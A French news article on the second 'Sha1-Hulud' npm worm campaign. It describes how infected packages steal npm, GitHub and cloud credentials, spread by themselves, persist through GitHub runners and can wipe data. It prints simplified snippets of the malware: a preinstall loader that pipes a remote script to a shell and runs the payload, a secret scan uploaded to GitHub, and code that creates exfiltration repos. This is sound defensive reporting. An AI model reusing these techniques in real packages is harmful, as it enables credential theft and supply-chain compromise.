La communauté JavaScript pensait avoir tiré les leçons de la première vague Shai-Hulud. Pourtant, fin novembre 2025, une nouvelle offensive frappe l’écosystème npm avec une sophistication inédite. Plus de 300 paquets infectés, des milliers de dépôts compromis, des jetons de cloud dérobés, des runners GitHub manipulés et, en bout de chaîne, une véritable démonstration de ce qu’une attaque supply-chain moderne peut provoquer.Contexte : pourquoi ce type d’attaque est pertinent
L’écosystème npm est immense : des millions de paquets, de nombreuses dépendances transversales, et une grande part de confiance implicite envers les mainteneurs et les versions. Cette confiance est devenue une cible privilégiée pour les acteurs malveillants : en compromettant un paquet diffusé largement, ils peuvent infecter de nombreuses applications en aval, directement ou indirectement.
L’incident original nommé Shai‑Hulud (sans le « 1 ») avait déjà été documenté précédemment : une fonction d'auto-réplication et de propagation dans l’écosystème npm, avec vol de jetons, des insertions de workflows GitHub malveillants, etc. La nouvelle vague, Sha1-Hulud, reprend et amplifie ces techniques.
Le fait que la dernière campagne soit ciblée « par la chaîne d’approvisionnement logicielle » (software supply chain) la rend d’autant plus critique : ici, ce ne sont pas seulement des utilisateurs finaux ou des organisations spécifiques qui sont visés, mais potentiellement tous les projets reposant sur un des paquets compromis.
Une attaque qui rappelle la fragilité de l’écosystème JavaScript
L’écosystème npm est devenu un symbole de vitesse et d’efficacité, mais aussi de vulnérabilité. La multiplication des dépendances, les scripts d’installation automatiques, l’absence de vérification systématique du code publié : autant de portes ouvertes pour des campagnes malveillantes de plus en plus industrielles. Shai-Hulud, déjà connu pour une première vague particulièrement agressive, démontre une nouvelle fois à quelle vitesse une attaque supply-chain peut contaminer un environnement qui repose sur la confiance plus que sur le contrôle.
Dans cette seconde offensive, plus de 300 paquets ont été modifiés pour inclure du code malveillant. La contamination s’est ensuite propagée aux projets qui les utilisent, pour atteindre des dizaines de milliers de dépôts GitHub en quelques heures.
Selon HelixGuard, la campagne a vu ses paquets malveillants être publiés entre le 21 et le 23 novembre 2025.
Envoyé par HelixGuardLe 24 novembre 2025, HelixGuard a détecté que plus de 1 000 composants du registre NPM avaient été corrompus à l'aide de la même méthode en l'espace de quelques heures. Les nouvelles versions de ces paquets publiées dans le registre NPM prétendaient faussement introduire le runtime Bun, ajoutant le script preinstall: node setup_bun.js ainsi qu'un fichier bun_environment.js obscurci.
Une fois exécuté, le logiciel malveillant télécharge et exécute TruffleHog pour analyser la machine locale, volant des informations sensibles telles que les jetons NPM, les identifiants AWS/GCP/Azure et les variables d'environnement.
Le code malveillant exfiltre les informations volées en créant un runner GitHub Action nommé SHA1HULUD et une description de référentiel GitHub Sha1-Hulud : The Second Coming. Cela suggère qu'il pourrait s'agir du même attaquant que celui derrière l'attaque « Shai-Hulud » observée en septembre 2025.
À l'heure actuelle, plus de 27 000 référentiels GitHub ont été infectés.
Une fois exécuté, le logiciel malveillant télécharge et exécute TruffleHog pour analyser la machine locale, volant des informations sensibles telles que les jetons NPM, les identifiants AWS/GCP/Azure et les variables d'environnement.
Le code malveillant exfiltre les informations volées en créant un runner GitHub Action nommé SHA1HULUD et une description de référentiel GitHub Sha1-Hulud : The Second Coming. Cela suggère qu'il pourrait s'agir du même attaquant que celui derrière l'attaque « Shai-Hulud » observée en septembre 2025.
À l'heure actuelle, plus de 27 000 référentiels GitHub ont été infectés.
« Notre système de surveillance interne a détecté plusieurs paquets infectés contenant ce qui semble être une version évoluée du logiciel malveillant "Shai-Hulud". Les premières analyses montrent un comportement de propagation de type ver qui infecte automatiquement d'autres paquets gérés par les développeurs concernés. Plus grave encore, nous avons découvert que le logiciel malveillant contient un mécanisme de "commutateur d'homme mort" qui menace de détruire les données des utilisateurs si ses canaux de propagation et d'exfiltration sont coupés ».
Comment la contamination s’opère : anatomie d’un ver npm moderne
L’attaque repose sur une mécanique huilée, qui combine vol de secrets, propagation automatique et exploitation des plateformes de développement.
Un script d’installation comme porte d’entrée
Le cœur de l’attaque réside dans les scripts « postinstall » insérés dans les paquets infectés. Lorsqu’un développeur installe la dépendance, un fichier JavaScript obfusqué s’exécute automatiquement.
Ce script scanne l’environnement local à la recherche de secrets :
- jetons npm,
- clés GitHub (PATs),
- identifiants AWS/GCP/Azure,
- variables d’environnement sensibles,
- fichiers de configuration cloud.
Ces secrets permettent ensuite au malware de rebondir sur d’autres surfaces : création de dépôts GitHub, interactions avec les workflows, déploiement d’agents malveillants, etc.
Auto-réplication par infection des comptes npm compromis
Si le script trouve un jeton npm valide, il modifie automatiquement les paquets gérés par ce compte. Il insère le code malveillant dans la nouvelle version, puis publie le paquet mis à jour comme s’il s’agissait d’une release légitime. Ce mécanisme transforme l’attaque en ver : chaque compte compromis amplifie la propagation en infectant ses propres bibliothèques.
Manipulation des workflows GitHub pour persister
Nouvel élément inquiétant : le malware crée ou modifie des workflows GitHub Actions pour maintenir un accès permanent. Il installe un runner auto-hébergé portant un nom spécifique, ajoute des workflows capables d’exécuter des commandes à distance et crée parfois des dépôts publics pour exfiltrer les données dérobées.
Capacité destructive en cas d’échec
Lorsque le ver n’arrive pas à voler des secrets exploitables, il déclenche parfois un volet destructeur. Dans certains scénarios observés, il supprime le répertoire personnel de la machine ou efface des configurations essentielles, transformant une attaque de vol en attaque de sabotage.
GitLab résume l'attaque de cette manière :
Envoyé par GitLabNotre système de surveillance interne, qui analyse les registres de paquets open source à la recherche de paquets malveillants, a identifié plusieurs paquets npm infectés par un logiciel malveillant sophistiqué qui :
Bien que nous avons confirmé plusieurs paquets infectés, le mécanisme de propagation de type ver signifie que de nombreux autres paquets sont susceptibles d'être compromis. L'enquête se poursuit tandis que nous nous efforçons de comprendre toute l'étendue de cette campagne.
- Récupère les identifiants de GitHub, npm, AWS, GCP et Azure.
- Exfiltre les données volées vers des référentiels GitHub contrôlés par les attaquants.
- Se propagent en infectant automatiquement d'autres paquets appartenant aux victimes
- Contiennent une charge utile destructrice qui se déclenche si le logiciel malveillant perd l'accès à son infrastructure
Bien que nous avons confirmé plusieurs paquets infectés, le mécanisme de propagation de type ver signifie que de nombreux autres paquets sont susceptibles d'être compromis. L'enquête se poursuit tandis que nous nous efforçons de comprendre toute l'étendue de cette campagne.
Pourquoi cette campagne est plus dangereuse que la première
Si la première offensive Shai-Hulud avait déjà marqué les esprits, cette nouvelle vague va plus loin sur plusieurs aspects :
Une propagation plus rapide et plus profonde
L’utilisation combinée de npm, GitHub et des runners CI donne à l’attaque une portée « transversale » : elle touche non seulement le développement local, mais aussi les pipelines de build et les environnements d’intégration.
Une palette d’objectifs élargie
Le premier Shai-Hulud se concentrait surtout sur le vol de jetons.
Celui-ci ajoute :
- la destruction de données ;
- la prise de contrôle persistante via CI/CD ;
- la réplication autonome ;
- la contamination silencieuse d’écosystèmes entiers.
Une meilleure dissimulation
Les scripts malveillants sont plus compacts, mieux obfusqués et s’exécutent à travers des chemins d’installation courants. Beaucoup passent inaperçus dans les outils de détection statique classiques.
Vecteur d'infection initial
Le logiciel malveillant s'infiltre dans les systèmes grâce à un processus de chargement en plusieurs étapes soigneusement élaboré. Les paquets infectés contiennent un fichier package.json modifié avec un script de préinstallation pointant vers setup_bun.js. Ce script de chargement semble inoffensif, prétendant installer le runtime JavaScript Bun, qui est un outil légitime. Cependant, son véritable objectif est d'établir l'environnement d'exécution du logiciel malveillant.
| Code JavaScript : | Sélectionner tout |
1 2 3 4 5 6 7 8 9 10 11 12 13 | // Ce fichier est ajouté aux paquets de la victime sous le nom setup_bun.js. #!/usr/bin/env node async function downloadAndSetupBun() { // Téléchargements et installations bun let command = process.platform === 'win32' ? 'powershell -c "irm bun.sh/install.ps1|iex"' : 'curl -fsSL https://bun.sh/install | bash'; execSync(command, { stdio: 'ignore' }); // Exécute le logiciel malveillant proprement dit. runExecutable(bunPath, ['bun_environment.js']); } |
Le chargeur setup_bun.js télécharge ou localise le runtime Bun sur le système, puis exécute la charge utile bun_environment.js intégrée, un fichier obscurci de 10 Mo déjà présent dans le package infecté. Cette approche offre plusieurs niveaux de contournement : le chargeur initial est petit et semble légitime, tandis que le code malveillant réel est fortement obscurci et intégré dans un fichier trop volumineux pour être inspecté de manière informelle.
Collecte d'identifiants
Une fois exécuté, le logiciel malveillant commence immédiatement à rechercher des identifiants dans plusieurs sources :
- Jetons GitHub : recherche dans les variables d'environnement et les configurations CLI GitHub les jetons commençant par ghp_ (jeton d'accès personnel GitHub) ou gho_(jeton OAuth GitHub)
- Identifiants cloud : énumère les identifiants AWS, GCP et Azure à l'aide des SDK officiels, en vérifiant les variables d'environnement, les fichiers de configuration et les services de métadonnées
- Jetons npm : extrait les jetons pour la publication de paquets à partir des fichiers .npmrc et des variables d'environnement, qui sont des emplacements courants pour stocker en toute sécurité les configurations et les identifiants sensibles.
- Analyse du système de fichiers : télécharge et exécute Trufflehog, un outil de sécurité légitime, pour analyser l'ensemble du répertoire d'accueil à la recherche de clés API, de mots de passe et d'autres secrets cachés dans les fichiers de configuration, le code source ou l'historique git.
| Code JavaScript : | Sélectionner tout |
1 2 3 4 5 6 7 8 9 10 11 | async function scanFilesystem() { let scanner = new Trufflehog(); await scanner.initialize(); // Analyse le répertoire personnel de l'utilisateur à la recherche de secrets let findings = await scanner.scanFilesystem(os.homedir()); // Télécharge les résultats vers le référentiel d'exfiltration await github.saveContents("truffleSecrets.json", JSON.stringify(findings)); } |
Réseau d'exfiltration de données
Le logiciel malveillant utilise des jetons GitHub volés pour créer des référentiels publics avec une mention spécifique dans leur description : « Sha1-Hulud : The Second Coming ». Ces référentiels servent de boîtes de dépôt pour les identifiants et les informations système volés.
| Code JavaScript : | Sélectionner tout |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | async function createRepo(name) { // Crée un référentiel avec un marqueur de description spécifique. let repo = await this.octokit.repos.createForAuthenticatedUser({ name: name, description: "Sha1-Hulud: The Second Coming.", // Marqueur pour retrouver les dépôts ultérieurement private: false, auto_init: false, has_discussions: true }); // Installe GitHub Actions Runner pour la persistance if (await this.checkWorkflowScope()) { let token = await this.octokit.request( "POST /repos/{owner}/{repo}/actions/runners/registration-token" ); await installRunner(token); // Installe un runner auto-hébergé } return repo; } |
Si le jeton GitHub initial ne dispose pas des autorisations suffisantes, le logiciel malveillant recherche d'autres référentiels compromis portant le même marqueur, ce qui lui permet de récupérer les jetons d'autres...
La fin de cet article est réservée aux abonnés. Soutenez le Club Developpez.com en prenant un abonnement pour que nous puissions continuer à vous proposer des publications.